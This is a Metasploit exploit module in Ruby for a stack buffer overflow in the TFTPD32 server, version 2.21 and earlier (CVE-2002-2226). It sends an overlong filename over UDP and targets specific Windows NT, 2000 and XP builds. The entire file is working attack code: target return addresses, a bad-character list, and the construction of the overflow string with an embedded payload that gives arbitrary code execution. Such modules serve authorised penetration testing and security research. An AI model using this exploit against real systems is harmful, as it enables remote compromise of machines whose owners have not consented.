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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = AverageRanking
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  include Msf::Exploit::Remote::Udp
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'TFTPD32 Long Filename Buffer Overflow',
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      'Description'    => %q{
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          This module exploits a stack buffer overflow in TFTPD32 version 2.21
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        and prior. By sending a request for an overly long file name
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        to the tftpd32 server, a remote attacker could overflow a buffer and
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        execute arbitrary code on the system.
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      },
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      'Author'         => 'MC',
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      'References'     =>
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        [
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          ['CVE', '2002-2226'],
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          ['OSVDB', '45903'],
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          ['BID', '6199'],
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        ],
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'process',
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        },
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      'Payload'        =>
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        {
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          'Space'    => 250,
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          'BadChars' => "\x00",
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          'StackAdjustment' => -3500,
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          ['Windows NT 4.0 SP6a English',    { 'Ret' => 0x77f9d463} ],
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          ['Windows 2000 Pro SP4 English',   { 'Ret' => 0x7c2ec663} ],
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          ['Windows XP Pro SP0 English',     { 'Ret' => 0x77dc0df0} ],
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          ['Windows XP Pro SP1 English',     { 'Ret' => 0x77dc5527} ],
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        ],
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      'Privileged'     => true,
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      'DisclosureDate' => '2002-11-19'
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      ))
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    register_options(
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      [
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        Opt::RPORT(69)
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      ], self)
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  end
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  def exploit
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    connect_udp
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    print_status("Trying target #{target.name}...")
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    sploit =
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      "\x00\x01" +
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      rand_text_english(120, payload_badchars) +
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      "." +
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      rand_text_english(135, payload_badchars) +
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      [target.ret].pack('V') +
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      payload.encoded +
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      "\x00"
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    udp_sock.put(sploit)
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    disconnect_udp
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  end
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end
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